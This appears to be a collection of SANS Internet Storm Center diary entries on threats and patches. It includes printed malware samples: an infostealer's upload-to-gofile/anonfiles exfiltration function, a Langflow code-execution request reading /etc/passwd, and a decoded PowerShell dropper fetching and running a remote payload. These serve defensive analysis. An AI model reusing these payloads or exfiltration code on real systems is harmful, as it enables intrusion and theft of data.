
Especially if said ad providers are counted among the Fortune 500 companies  (Fortune 10, if we want to be technical) and do, themselves, offer services based on AI models that could easily be used to automatically determine whether a page that their ads point to is most likely malicious. At the very least, ad providers could periodically check whether an ad's destination domain exceeds some baseline detection score on VirusTotal, and automatically flag or block such content pending analysis.

What about it, Google? After all, you do own VirusTotal as well…

[1] https://www.virustotal.com/gui/domain/eec086f678a65400d3fa7ba9c787d976.ip-ddns.com

-----------
Jan Kopriva
LinkedIn
Nettles Consulting

Wireshark release 4.4.6 fixes 14 bugs.

 

Didier Stevens

Senior handler
blog.DidierStevens.com

[This is a Guest Diary by Jacob Claycamp, an ISC intern as part of the SANS.edu BACS program]

Introduction

When I first saw malware being uploaded to my honeypot, I was lacking the requisite experience to reverse engineer it, and to understand what was happening with the code. Even though I could use any text editor to examine the associated scripts that were being uploaded with RedTail malware, I couldn’t see what was happening with the redtail malware itself. So, I decided to create a how-to on setting up a malware analysis program.

The malware analysis platform I chose to use, is Remnux which is a linux distribution, packaged with a variety of analysis tools originally created by Lenny Zeltser, a SANS instructor. [1] [2] My original intent for the Remnux environment was to set it up inside a docker, so it was completely isolated from my computer. This way if I accidently detonated a malware sample, I could easily just wipe away the docker. I can also wipe away the docker, after I’ve finished analyzing a sample, and start with a fresh install each time I begin a new investigation.

For this how-to, I’ll also make use of kasm workspaces which is a docker container streaming platform, and I’ll deploy it inside of a free tier of AWS EC2 instance, this approach will make it easy to access your workspace, from a web browser.

Setup

1.    First you need to launch an EC2 instance in AWS. Go to the AWS Sign Up page. You can follow this website for initial account setup: [3] Sign Up For An AWS Account. I won’t go to deep into setting up an EC2 instance as you can follow along with the linked GitHub page above. However, for the Kasm Workspaces setup, you’ll need to create an EC2 instance with 2 vcpu’s, 16 gigs of ram, and 100GB disc, which is the minimum needed for a Kasm Remnux workspace install. Also, be sure to allow http and https traffic inbound. The rest of the setup above, should be followed exactly. 
2.    Once you’ve deployed an ubuntu 20.04 with the RSA key, log into your EC2 instance with: ssh -I rsatoken.pem ubuntu@<whatever your IP is
3.    Then to install the kasm workspace perform these commands:

cd /tmp
curl -O https://kasm-static-content.s3.amazonaws.com/kasm_release_1.16.1.98d6fa.tar.gz tar -xf kasm_release_1.16.1.98d6fa.tar.gz
sudo bash kasm_release/install.sh

4.    You’ll be asked if you want to create a swap partition, click “Yes” and the 8GB swap size is fine. It’ll take about 5 minutes to finish installing so be patient.
5.    When it finishes, it’ll output the credentials you’ll need to access it. Copy these off and store them somewhere securely.
    
6.    Once you’ve finished installing, return to your web browser, and enter in https://<ip of your EC2 instance> and login with the admin@kasm.local credential. 
7.    Once you’ve logged in, click the workspaces link on the left side of the screen and you’ll be presented with the below option. Kasm comes complete with a large variety of workspaces you can chose from. Select “Add from Registry” as seen in the screen shot below.

8.    Once that is complete, you can search for Remnux and select “install”.  It will take about 10-15 minutes to install. When it’s finished it should be present in your “Workspaces” tab, in the admin control center. Ensure the “enabled” switch is toggled on. 

9.    Next, click the workspaces link to the left of the Admin button at the top of the page.

10.    Now you’re ready to go. Click the Remnux Desktop in the middle of the screen. It will launch a Remnux virtual machine, right in your web browser. 

11.    Time to analyze the RedTail malware. First, we need to upload a sample to our Remnux. Click the tab to the left of the Downloads and Uploads folder, and then click on upload. Once you’ve uploaded your file to the machine, it’ll appear in the “uploads folder” 

When it comes to analyzing malware, there’s 2 different approaches that should both be used. Analyze the malware statically first, that is, with the program at rest on your disc drive. We first need to identify what type of file it is. In a terminal on your Remnux box, we’ll use the file command to identify it.

We can see it’s an ELF 64-bit file based on x86 CPU architecture. An ELF file, which stands for Executable and Linkable Format, is a standard file format used for storing executable programs, libraries, and object files on operating systems like Linux and macOS. The next static analysis utility we can use is called Detect It Easy (die) just by typing die into the command line. This program will tell us what operating system it was compiled on, what compiler was used and what programming language. However, for our RedTail sample, it’s clearly been packed with UPX, so we can’t immediately discern what the language for this is. 

In the context of UPX (Ultimate Packer for eXecutables), the ‘LZMA, brute’ flags indicates that it was packed with the LZMA compression algorithm, and the ‘brute’ is a command line option that forces UPX to try all available compression methods, to find the best compression ratio. We’ll need to unpack it first. I actually needed to download a newer version of UPX, because the Remnux upx packer was out of date. But once that was done I just ran ./upx -d <file>

Now we can go back to our Detect It Easy (die) application and see if we’ve successfully unpacked it.

We know now it was compiled using GCC, in C/C++. The next thing we could do is run the strings command on the sample, now that it’s unpacked to see if there’s any additional base64 encoded commands, or other interesting plain text ASCII strings in there. I won’t provide a screen shot of the strings command for this RedTail sample, as they’re too numerous to display.

Finally, we’ll examine this sample with [4] Ghidra. Ghidra is a very popular malware analysis tool, developed by the NSA which can be used to decompile a binary file, read its source code, and debug it while performing dynamic analysis. You’ll find the Ghidra application under the Applications tab at the top left, and then under the Dev folder. When Ghidra first launches, you’ll need to create a new project first before you can do any dynamic analysis. For my project I just called it Redtail. 

Next, you’ll need to import the malware sample. Select “Import File…” Once it’s imported it’ll give you a lot of information such as the address size, processor architecture, file hashes, etc. You can close the “import summary” file and then you’ll see your project folder with your imported file. Double-click the sample and continue with the “analyze” button.

Under the Symbol Tree pane, there should be a main function or an entry function which is where the main program is written. As you can see from the screenshot above, RedTail malware is complex, with many functions referenced in the entry, and because of this complexity, I won’t dive into it any further.

Conclusion

The above is a how-to on setting up a dockerized cloud instance for malware analysis, which provides for containment, as well as easy reset to baseline. Then I provide some very basic entry level analysis techniques. Even if you aren’t good at programming or reading program language, the techniques in this article are still very useful in pulling out IOC’s, file hashes, etc, and comparing samples. Many threat actors will take a particular sample of malware and modify it to accomplish something slightly different. Not all malware is as complex as Redtail. Some malware is only a few lines of code, and you can quickly understand what it’s doing. With Ghidra you can track a malwares’ evolution over time and determine how it’s being modified and employed. If you wish to get further into the forest of malware, I encourage you to check out Lenny Zeltser’s webpage, [5] and if you want an even deeper lesson into malware analysis, check out his presentation to the RSA Conference in 2021. [6] 

[1] https://remnux.org/
[2] https://www.sans.org/profiles/lenny-zeltser/
[3] https://github.com/15HzMonitor/Internship-Blog-Post/blob/main/1.%20AWS%20DShield%20Sensor%20Setup.md#sign-up-for-an-aws-account
[4] https://ghidra-sre.org/
[5] zeltser.com
[6] https://zeltser.com/media/docs/malware-analysis-remnux.pdf
[7] https://www.sans.edu/cyber-security-programs/bachelors-degree/
-----------
Guy Bruneau IPSS Inc.
My GitHub Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

 

Today, Apple patched two vulnerabilities that had already been exploited. The vulnerabilities were exploited against iOS but also exist in macOS, tvOS, and visionOS. Apple released updates for all affected operating systems.

 

iOS 18.4.1 and iPadOS 18.4.1	macOS Sequoia 15.4.1	tvOS 18.4.1	visionOS 2.4.1
CVE-2025-31200: Processing an audio stream in a maliciously crafted media file may result in code execution. Apple is aware of a report that this issue may have been exploited in an extremely sophisticated attack against specific targeted individuals on iOS.. Affects CoreAudio
x	x	x	x
CVE-2025-31201: An attacker with arbitrary read and write capability may be able to bypass Pointer Authentication. Apple is aware of a report that this issue may have been exploited in an extremely sophisticated attack against specific targeted individuals on iOS.. Affects RPAC
x	x	x	x

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

If Attackers can abuse free online services, they will do for sure! Why spend time to deploy a C2 infrastructure if you have plenty of ways to use "official" services. Not only, they don't cost any money but the traffic can be hidden in the normal traffic; making them more difficult to detect. A very popular one was anonfiles[.]com. It was so abused that they closed in 2023![1]. A funny fact is that I still see lot of malicious scripts that refer to this domain. Of course, alternatives popped up here and there, like anonfile[.]la[2].

I spotted some malicious scripts that abuse gofile[.]io[3], mainly infostealers that exfiltrate collected data through this website. The usage is pretty easy: you request an available server and you post your data:

def UploadToExternalService(self, path, filename=None) -> str | None:
    if os.path.isfile(path):
        Logger.info('Uploading %s to gofile' % (filename or 'file'))
    with open(path, 'rb') as file:
        fileBytes = file.read()
    if filename is None:
        filename = os.path.basename(path)
    http = PoolManager(cert_reqs='CERT_NONE')
    try:
        server = json.loads(http.request('GET', 'https://api[.]gofile[.]io/getServer').data.decode(errors='ignore'))['data']['server']
        if server:
            url = json.loads(http.request('POST', 'https://{}[.]gofile[.]io/uploadFile'.format(server), fields={'file': (filename,     
                             fileBytes)}).data.decode(errors='ignore'))['data']['downloadPage']
            if url:
                return url
    except Exception:
        try:
            Logger.error('Failed to upload to gofile, trying to upload to anonfiles')
            url = json.loads(http.request('POST', 'https://api[.]anonfiles[.]com/upload', fields={'file': (filename, 
                             fileBytes)}).data.decode(errors='ignore'))['data']['file']['url']['short']
            return url
        except Exception:
            Logger.error('Failed to upload to anonfiles')
            return None

Note that if the upload to gofile.io failed, they will fallback to anonfiles.com!? Just why? The service is down...

There are many alternatives to these services. Here is a quick list:

• transfer[.]sh

• www[.]file[.]io

• bayfiles[.]com

• catbox[.]moe

• filebin[.]net

• temp[.]sh

Usually, not used in corporate environments, it could be interesting to track hosts that try to resolve these domains!

[1] https://www.bleepingcomputer.com/news/security/file-sharing-site-anonfiles-shuts-down-due-to-overwhelming-abuse/
[2] https://www.anonfile.la/
[3] https://gofile.io/home

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

As promised in diary entry "XORsearch: Searching With Regexes", I will outline another method to search with xorsearch and regexes.

In stead of XORsearch.exe, the original tool that is written in C and compiled, we will use xorsearch.py, a new tool written in Python.

Unlike XORsearch.exe, xorsearch.py supports YARA rules, and thus regex searches.

Let's say we want to use this trivial regular expression to match IPv4 addresses (it's matching 4 numbers separated by dots): \d+\.\d+\.\d+\.\d+

We can create a YARA rule for this regex:

And then we can use this rule on a test file (test-xor-1.bin):

This tells us that YARA rule ipv4 (namespace ipv4.yara) triggered on file test-xor-1.bin when it is XOR encoded with key 0x19.

To see the YARA rule strings that were matched, use option --yarastrings:

To see the encoded file, use one of the many dump options, like -a for a HEX/ASCII dump:

Or a binary dump with option -d:

If you find it cumbersome to create a YARA rule just for a simple regex (I find it cumbersome :-) ), you can pass the regex via the command line prefixed with #r#, and xorsearch.py will generate the YARA rule for you:

I will give more examples of this in an upcoming diary entry.

 

Didier Stevens
Senior handler
blog.DidierStevens.com

 

Two weeks ago, version 1.3.0 of Langflow was released. The release notes list many fixes but do not mention that one of the "Bug Fixes" addresses a major vulnerability. Instead, the release notes state, "auth current user on code validation." [1]

Its website states, "Langflow is a low-code tool for developers that makes it easier to build powerful AI agents and workflows that can use any API, model, or database." It can be installed as a Python package, a standalone desktop application, or as a cloud-hosted service. DataStax provides a ready-built cloud-hosted environment for Langflow.

The vulnerability went somewhat unnoticed, at least by me, until Horizon3 created a detailed writeup showing how easy it is to exploit the vulnerability and provide proof of concept exploit. Horizon3 published its blog on April 9th [2]. We saw a first hit to the vulnerable URL, "/api/v1/validate/code", on April 10th. Today (April 12th), we saw a significant increase in hits for this URL.

The requests we are seeing are vulnerability scans. They attempt to retrieve the content of "/etc/passwd" to verify if the target system:

POST /api/v1/validate/code HTTP/1.1
Host: [redacted]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14_3) AppleWebKit/617.2.4 (KHTML, like Gecko) Version/17.3 Safari/617.2.4
Connection: close
Content-Length: 125
Content-Type: application/json
Accept-Encoding: gzip

 

{"code": "@exec('raise Exception(__import__(\\"subprocess\\").check_output([\\"cat\\", \\"/etc/passwd\\"]))')\\ndef foo():\\n  pass"}
 

Not all of our honeypots report request bodies. So far, this is the only request body we recorded. So far, all of the requests originate from TOR exit nodes.

 

[1] https://github.com/langflow-ai/langflow/releases/tag/1.3.0
[2] https://www.horizon3.ai/attack-research/disclosures/unsafe-at-any-speed-abusing-python-exec-for-unauth-rce-in-langflow-ai/

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

[This is a Guest Diary by Matthew Gorman, an ISC intern as part of the SANS.edu BACS program]

Background

I recently had the opportunity to get hands on with some Cisco networking devices. Due to being a network engineer prior to my current job as a network forensics analyst, I have a relatively solid understanding of these infrastructure devices and how they work. I wanted to write this blog detailing some of the critical oversights I see in my current job that are common for these devices and how they are abused by attackers that are also familiar with how they work. To demonstrate this I will be walking through a vulnerability that was first discovered in 2018 for these network Infrastructure devices, CVE-2018-0171, a Remote Code Execution exploit targeting Cisco’s Smart Install feature. 

CVE-2018-0171

Cisco’s Smart Install feature is a “plug and play”[1] configuration feature that allows for new networking devices to be deployed remotely and when plugged in they will configure themselves automatically without needing the support of a network administrator. This greatly eases the burden of network administrators needing to go on site where the device is to make the basic initial configuration changes to ensure it is remotely accessible. 

The problem with smart install is three pronged. First, this feature is enabled by default on Cisco devices.[2] The second is that, by design, Smart Install protocol does not require authentication prior to use. The third, and last, prong is that due to the nature of the devices facilitating the flow of network traffic in and out of organizations, the port is often publicly accessible. In fact, doing a cursory search on Censys for this port and the service name associated with Cisco Smart Install (SMI) pulled up 1,239 devices with this service publicly accessible.

To be clear, this is not to say that all 1,239 of these devices are vulnerable to this particular CVE. This is simply illustrating the prevalence of publicly accessible devices running the Smart Install service.

So in 2018 when Cisco publishes a critical vulnerability with remote code execution capabilities that impacts a service that is designed to be open to the internet it becomes a popular exploit fast. The flaw in the smart install service allows an attacker to craft a packet with a Smart Install message that would be improperly validated, allowing the supplied command to be run without authentication.

In an effort to develop additional analytical insights into this attack I was able to get hands on with some outdated Cisco devices and pull an open source tool that targets this vulnerability called the Smart Install Exploit Tool (SIET)[3].

SIET Script Analysis

For this use case, I used a Cisco Catalyst 3750 switch running on IOS 12.2.(55) SE11 firmware. Using the Cisco Software Checker tool,[4] I identified that this version of IOS had 32 different identified vulnerabilities to include 3 that were rated as “Critical”. One of those “Critical” vulnerabilities included CVE-2018-0171. Upon confirming the switch was vulnerable to CVE-2018-0171, I downloaded the SIET tool from GitHub to examine how it works. Looking at the python script that the Smart Install Exploit Tool (v3) is built on; SIET has several functions that exist to perform different actions towards the targeted device. These functions include:

conn_with_client
This sets a connection with the remote cisco device and prints different messages depending on the response from the targeted device.

test_device
This creates a malicious Smart Install packet and calls the conn_with_client function to send it to the remote device.

change_tftp
This function calls the conn_with_client function to connect to the targeted cisco device and depending on the set mode the Threat Actor (TA) selects performs different actions. The specified modes allow the actor to upload their own altered configuration file to replace the existing configuration file on the targeted device (or multiple devices, if specified), use TFTP to transfer the existing configuration file to the TA’s IP address, or have the targeted device download a potentially malicious or trojanized Cisco IOS image file from the TA’s IP address. 

Summarily, this exploit tool provides a significant amount of capability to a Threat Actor seeking to gain access to an unpatched Cisco networking device hosting the Smart Install service.

Packet Analysis

After setting up the connection from my laptop to the Cisco 3750 switch. I configured the switch to turn on the Smart Install service by issuing the command “vstack”. This is configured by default but, in this case, had been turned off during previous testing. Issuing this command starts up a TCP listener on port 4786 that smart install uses to respond to Smart Install Director Requests. Smart Install Directors are a role in the Cisco Smart Install architecture that acts as a central management hub for all Smart Install enabled clients, in this case it is the Cisco 3750 switch.

Once the switch was configured, I fired up SIETv3 and ran the script with the flag “-h” to pull up the help menu. 

As seen above this tool has several options that can be run against vulnerable Cisco networking devices. The one I used in this scenario was the “-g” flag to pull back the configuration of the device. Prior to running the command I started wireshark to make sure I captured the attack on a packet level. 

After running the attack and successfully pulling back the configuration of the Cisco 3750 I stopped the packet capture. Below is a snippet from the packet capture that shows the structure of the attack from a high level. 

Generally, the attack, as I had specified, follows a pattern of connecting to the Smart Install port (4786) and then using the Trivial File Transfer Protocol to then grab the contents of the running configuration of the Cisco switch. 

Interestingly examining the TCP packets that are communicating on port 4786 There is a single packet that is much larger in length than the others. In this packet capture it is packet 43 with a length of 1102 bytes. 

Examining the data portion of this packet reveals some interesting commands being issued from my laptop to the 3750. Specifically, my laptop is using the Smart Install port to first issue the command “copy system:running-config flash:/config.txt”. This command takes the running configuration file that exists in the system directory and copies it over to the flash directory with the name “config.text”. SIET then follows up this command with another one that says “copy flash:/config.text. tftp://192.168.10.2/192.168.10.1.conf” this command takes the newly copied over config.text file and, using the TFTP protocol, copies it to my laptop with the new name of “192.168.10.1.conf”. 

After these two commands the TFTP file transfer begins and because TFTP is a clear text protocol it is possible to see the entire running configuration of the 3750 in the data portion of the TFTP packets. Below is the data portion of packet 66 which shows a portion of the configuration in clear text

Running-Configuration Analysis

Examining the file that is being transferred just in the data portion of these TFTP packets in wireshark makes it a little hard to parse. Luckily, Wireshark includes a file carving tool that will compile the entire file that was transferred and while making it easier to parse.

To do so, I used the TFTP option under “File -> Export Objects -> TFTP…”. This pulls up the below window that displays the last packet of the file transfer, the size of the transfer, and the name of the file as named in the second command issued in packet 43. 

From here I saved off the file and pulled it up in a text editor to examine the whole running configuration file that was transferred. Below is a screenshot of the first several lines of the running configuration. A quick note, I did edit the text file to censor the passwords used on this device (denoted by “<CENSORED>”) for privacy and security reasons. 

With this information, in a Threat Actors (TA) hand, they could examine the running configuration to probe for additional vulnerabilities they could use to further exploit. For example, in this case I have several Type 7 passwords configured on this switch, which are denoted by the “password 7”. Type 7 passwords are passwords that have been encrypted using a Vignere cipher. Unfortunately, the key for this cipher has been public for many years and as a result, there are several websites, github tools, and tools embedded into offensive platforms such as Kali Linux, that can crack these passwords immediately. Due to this, the NSA strongly recommends against using type 7 passwords in any form[5]. 

The 3750, however, does have type 7 passwords configured for the local accounts with admin privileges (admin accounts are distinguished via “privilege 15”, the highest privilege level on a Cisco device) on the device and with the unedited version of this running configuration a TA would easily be able to crack the passwords for these accounts. Should the SSH configurations for this device be equally unsecure, lacking an Access Control List for example, a Threat Actor could be able to login with the newly cracked credentials using a legitimate account that was provisioned for use by the owners of the device. This would limit the detectable footprint of a TA’s activity by not forcing them to make a new account on the device that may stand out if an organization is closely monitoring account creation on network devices in their environment.

Conclusion

It is an unfortunate reality that while this particular vulnerability may be the age of the average American second grader[6] (reaching 7 years old by March 28, 2025), this vulnerability is still actively being exploited with incredible degrees of success. GreyNoise, a cyber threat intelligence company, and Cisco Talos, Cisco’s threat intelligence arm, have both published blog posts on the active use of CVE-2018-0171 by the TA known as Salt Typhoon.[7][8] Salt Typhoon is an Advanced Persistent Threat (APT) actor based out of the People’s Republic of China and was recently reported to be behind a campaign of attacks that gained media attention in the fall of 2024. These attacks, described by one U.S. Senator as the, “worst telecom hack in our nation’s history”,  were against several major US-based Internet Service Providers that operate globally to include companies such as Verizon, AT&T, and T-Mobile.[9] While the impact of these hacks is still being understood today, what we do know is that there are significant security gaps when it comes to the monitoring and management of the network infrastructure devices that stitch together the internet. These devices will continue to be a lucrative target for APTs, Cybercriminals, and others that wish to get a foothold in critical infrastructure. Unless organizations begin prioritizing the hardening and visibility of the network infrastructure, vulnerabilities like CVE-2018-0171 will remain open doors for adversaries.  

[1] https://www.cisco.com/c/en/us/td/docs/switches/lan/smart_install/configuration/guide/smart_install/concepts.html
[2] https://www.nsa.gov/portals/75/documents/what-we-do/cybersecurity/professional-resources/orn-cisco-smart-install.pdf
[3] https://github.com/frostbits-security/SIET
[4]  https://sec.cloudapps.cisco.com/security/center/softwarechecker.x
[5] https://media.defense.gov/2022/Feb/17/2002940795/-1/-1/1/CSI_CISCO_PASSWORD_TYPES_BEST_PRACTICES_20220217.PDF
[6] https://www.cde.state.co.us/datapipeline/grade-age-chart
[7] https://www.greynoise.io/blog/greynoise-observes-active-exploitation-of-cisco-vulnerabilities-tied-to-salt-typhoon-attacks
[8] https://blog.talosintelligence.com/salt-typhoon-analysis/
[9] https://www.washingtonpost.com/national-security/2024/11/21/salt-typhoon-china-hack-telecom/
[10] https://www.sans.edu/cyber-security-programs/bachelors-degree/

-----------
Guy Bruneau IPSS Inc.
My GitHub Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

Obfuscation is very important for many developers. They may protect their code for multiple reasons like copyright, anti-cheat (games), or to protect their code from being reused. If an obfuscated program does not mean automatically that it is malicious, it’s often a good sign. For malware developers, obfuscation helps bypass many static security controls and slows down the reverse analysis process.

There are two main ways to obfuscate your code: directly at development time (strings obfuscation, code pollution, functions and variables names, …) or through another tool that will take the original program as input and generate a brand new one.

Yesterday, I spotted some malicious Python scripts that were protected using the same technique: PyArmor[1]. This tool is not coming from the underground and is an official tool to deeply obfuscate Python scripts, and it performs a pretty decent job!

Let’s have a look at one of them delivered through a piece of JavaScript: update.js (SHA256: 64bcf9eb0a54230372438a09ba0ac9e5fa753622e88713d80b9298ab219540fa[2]). The script is a one-liner:

var WshShell = new ActiveXObject("Wscript.Shell");
WshShell.run("Powershell -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Encoded WwBTAHkAcwB0AGUA ...[Redacted] ... 8ACAAaQBlAHgA", 0, false);

The decoded Base64 data reveals another one:

[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(('{"Script":"JFVSTCA9ICdo ... [Redacted] ... 2NyaXB0UGF0aCINCg=="}' | ConvertFrom-Json).Script)) | iex

Did you see that the next payload is stored in a JSON object?  Here is the decoded script:

$URL = 'hxxps://postprocesser[.]com/.well-known/pki-validation/go/python3.zip'
$OutFile = Join-Path $env:TEMP 'py.zip'
$ExtractPath = $env:TEMP
$pythonExe = 'pythonw.exe'
$scriptPy = 'exec.py'

$ProgressPreference = 'SilentlyContinue'
Invoke-WebRequest -Uri $URL -OutFile $OutFile

if (Test-Path -Path (Join-Path $ExtractPath 'python3')) {
    Remove-Item -Path (Join-Path $ExtractPath 'python3') -Recurse -Force
}

Add-Type -AssemblyName System.IO.Compression.FileSystem
[System.IO.Compression.ZipFile]::ExtractToDirectory($OutFile, $ExtractPath)

$pythonPath = Join-Path (Join-Path $ExtractPath 'python3') $pythonExe
$scriptPath = Join-Path (Join-Path $ExtractPath 'python3') $scriptPy

Start-Process -NoNewWindow -FilePath "cmd.exe" -ArgumentList "/c set REALTEKAUDIO=hxxps://postprocesser[.]com/.well-known/pki-validation/go/cinnamonroll.php?id=mumu && set PROCNAME=Main && $pythonPath $scriptPath"

The downloaded archive python3.zip contains a stand-alone Python environment and also the next payload (exec.py):

# Pyarmor 8.5.11 (pro), 005724, non-profits, 2024-12-13T07:33:37.517122
from pyarmor_runtime_005724 import __pyarmor__
__pyarmor__(__name__, __file__, b'PY005724\x00\x03\x0b\x00\xa7\r\r\n\x80 ... [Redacted] ... \xff\xe3m\x82\xdboi,\x85i\xf0')

If you execute this code in a sandbox, it will perform many suspicious actions:

wmic path win32_VideoController get name
wmic csproduct get UUID
taskkill /F /IM msedge.exe
taskkill /F /IM chrome.exe

Then crash…

How to get more details about this Python script? PyArmor can’t be deobuscated easily (especially the latest version). Let’s try to extract some piece of memory. As described in the PyArmor documentation[3], it serializes code objects and obfuscates them to protect constants and literal strings. Python marshal[4] is used for this.

Using Frida[5], let’s try to get access to some memory regions. We can hook PyMarshal_ReadObjectFromString() and dump data on disk. Here is a quick Frida script:

const marshalLoads = Module.findExportByName(null, "PyMarshal_ReadObjectFromString");
if (marshalLoads !== null) {
    console.log("Found marshal.loads at: " + marshalLoads);
    Interceptor.attach(marshalLoads, {
        onEnter: function (args) {
            this.buf = args[0];
            this.len = args[1].toInt32();
        },
        onLeave: function (retval) {
            const raw = Memory.readByteArray(this.buf, this.len);
            const filename = `marshal_dump_${Date.now()}.pyc`;
            const f = new File(filename, "wb");
            f.write(raw);
            f.close();
            console.log("[+] Dumped marshal.loads payload to: " + filename);
        }
    });
} else {
    console.log("marshal.loads not found.");
}

Let’s execute the script again through Frida:

 

C:\Users\REM\AppData\Local\Temp\python3>frida -l .\hook.js -f .\python.exe exec.py
     ____
    / _  |   Frida 16.7.4 - A world-class dynamic instrumentation toolkit
   | (_| |
    > _  |   Commands:
   /_/ |_|       help      -> Displays the help system
   . . . .       object?   -> Display information about 'object'
   . . . .       exit/quit -> Exit
   . . . .
   . . . .   More info at https://frida.re/docs/home/
   . . . .
   . . . .   Connected to Local System (id=local)
Spawning `.\python.exe exec.py`...
Found marshal.loads at: 0x7ffbceb68fc8
Spawned `.\python.exe exec.py`. Resuming main thread!
[+] Dumped marshal.loads payload to: marshal_dump_1744177893798.pyc
...

We had a hit on the hooked function! The result file is not a Python bytecode as expected but just data without relevant strings (only related to the Python environment).

Another approach is to dump the process completely then search for strings again (because once in memory, it has been deobfuscated).

Interesting strings are present in memory and reveal a classic Python script:

esurroundtogethertomorrowtortoisetransferumbrellauniverseDwmFlushAbortDocDeleteDCMoveToExResetDCWoleaut32SetFocusCopyRectPtInRectDrawIconFillRectEndPaintClassANYQuestiondaylightSHA1-RSADSA-SHA1DNS nameavx512cdavx512eravx512pfavx512dq2.5.4.102.5.4.112.5.4.17FakeErrorfork/execcontinuedRemoveAll#execwaitinterruptbus errorntdll.dllFindCloseLocalFreeMoveFileWWriteFileWSASendTowiresharkprl_toolsprocmon64exeinfopeproxifierhttpdebugmitmproxytitanhideSERVER-PCLOUISE-PCBECKER-PCkEecfMwgjralphs-pcGANGISTANRALPHS-PCj6SHA37KAkeecfmwgjQmIS5df7upWOuqdTDQUox1tzaMOrB5BnfuR2txWas1m2ta.monaldoUser DataMicrosoft%s//UsersPasswordsDownloadsAutofillsBitFinityDoge LabsLiqualityMaiarDEFI\bytecoinnot foundopera.exebrave.exeDCBrowserSeaMonkeyIceDragonPale MoonUrBrowsermotdepassDocumentsTLauncheralts.jsonalts.novoLightcord

You can see some search sandbox names (“SERVER”, “PC-LOUISE”, …) as well as process names (“procmon64”, “execinfope”, …)

Another interesting one:

failed to write to key log

Credit cards and wallet activity:

Credit Cards: %-50s %-50s %-50s\Electrum\walletsbrowser not foundEpicGamesLauncher

It seems to be a classic stealer...

If you have tools or processes to deobfuscate PyArmor-protected script, please share!

[1] https://github.com/dashingsoft/pyarmor
[2] https://www.virustotal.com/gui/file/64bcf9eb0a54230372438a09ba0ac9e5fa753622e88713d80b9298ab219540fa/details
[3] https://pyarmor.readthedocs.io/en/v7.3.3/how-to-do.html
[4] https://docs.python.org/3/library/marshal.html
[5] https://frida.re

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

This month, Microsoft has released patches addressing a total of 125 vulnerabilities. Among these, 11 are classified as critical, highlighting the potential for significant impact if exploited. Notably, one vulnerability is currently being exploited in the wild, underscoring the importance of timely updates. While no vulnerabilities were disclosed prior to this patch release, the comprehensive updates aim to fortify systems against a range of threats, including remote code execution and privilege escalation. Users are encouraged to apply these patches promptly to enhance their security posture.

Windows Common Log File System Driver Elevation of Privilege Vulnerability (CVE-2025-29824)
This is a zero-day vulnerability with a severity rating of Important and a CVSS score of 7.8, which is currently being exploited in the wild but has not been publicly disclosed. This vulnerability allows an attacker to elevate their privileges to SYSTEM level, posing a significant risk to affected systems. It specifically impacts Windows 10 for both x64-based and 32-bit systems. However, security updates to address this vulnerability are not yet available, and Microsoft plans to release them as soon as possible. Customers will be notified through a revision to the CVE information once the updates are ready.

Windows Lightweight Directory Access Protocol (LDAP) Remote Code Execution Vulnerability (CVE-2025-26663)
This critical vulnerability, CVE-2025-26663, has not been exploited in the wild nor disclosed publicly, making it a non-zero-day threat. It carries a CVSS score of 8.1, indicating a significant risk due to its potential impact of remote code execution. The vulnerability arises from a race condition that an unauthenticated attacker could exploit by sending specially crafted requests to a vulnerable LDAP server, leading to a use-after-free scenario. Although the attack complexity is high, requiring the attacker to win a race condition, the severity of the potential impact underscores the critical nature of this vulnerability. Currently, security updates for Windows 10 systems are not immediately available, but they will be released as soon as possible, with notifications provided via a revision to the CVE information.

Lightweight Directory Access Protocol (LDAP) Client Remote Code Execution Vulnerability (CVE-2025-26670)
This critical vulnerability, identified as CVE-2025-26670, has not been exploited in the wild nor disclosed publicly. It carries a CVSS score of 8.1, indicating a significant risk of remote code execution. The vulnerability arises from a race condition that can be exploited by an unauthenticated attacker sending specially crafted requests to a vulnerable LDAP server, potentially resulting in a use-after-free condition. This could be leveraged to execute arbitrary code remotely. Despite the high attack complexity (AC:H), the potential impact is severe. Currently, security updates for Windows 10 systems are not available, but Microsoft plans to release them as soon as possible, with notifications provided through a revision to the CVE information.

Windows Remote Desktop Services Remote Code Execution Vulnerability (CVE-2025-27480)
This is a critical vulnerability with a CVSS score of 8.1, which has not been exploited in the wild nor publicly disclosed as a zero-day. This vulnerability allows for remote code execution by an attacker who connects to a system with the Remote Desktop Gateway role. The attack involves triggering a race condition to create a use-after-free scenario, which can then be leveraged to execute arbitrary code. Despite its critical severity, the attack complexity is high, requiring the attacker to successfully win a race condition to exploit the vulnerability.

Windows Remote Desktop Services Remote Code Execution Vulnerability (CVE-2025-27482)
This is a critical vulnerability with a CVSS score of 8.1, which has not been exploited in the wild nor disclosed publicly, making it a potential zero-day threat. This vulnerability allows for remote code execution, posing a significant risk to systems with the Remote Desktop Gateway role. Exploitation requires an attacker to successfully navigate a high-complexity attack scenario, specifically by winning a race condition that leads to a use-after-free situation, ultimately enabling the execution of arbitrary code. Organizations are advised to implement robust security measures and monitor for any suspicious activities to mitigate potential risks associated with this vulnerability.

This summary highlights key vulnerabilities from Microsoft's monthly updates, focusing on those posing significant risks. The Windows Common Log File System Driver vulnerability (CVE-2025-29824) is a zero-day threat actively exploited, allowing attackers to gain SYSTEM-level privileges. Users should prioritize monitoring and applying updates once available. Other critical vulnerabilities, such as those affecting LDAP and Remote Desktop Services, involve complex attack scenarios but pose severe risks due to potential remote code execution. Microsoft Office and Excel vulnerabilities also present significant threats, often requiring user interaction through social engineering tactics. Users are advised to remain vigilant and apply security updates promptly upon release to mitigate these risks.

 

Description
CVE	Disclosed	Exploited	Exploitability (old versions)	current version	Severity	CVSS Base (AVG)	CVSS Temporal (AVG)
ASP.NET Core and Visual Studio Denial of Service Vulnerability
%%cve:2025-26682%%	No	No	-	-	Important	7.5	6.5
Active Directory Certificate Services Elevation of Privilege Vulnerability
%%cve:2025-27740%%	No	No	-	-	Important	8.8	7.7
Active Directory Domain Services Elevation of Privilege Vulnerability
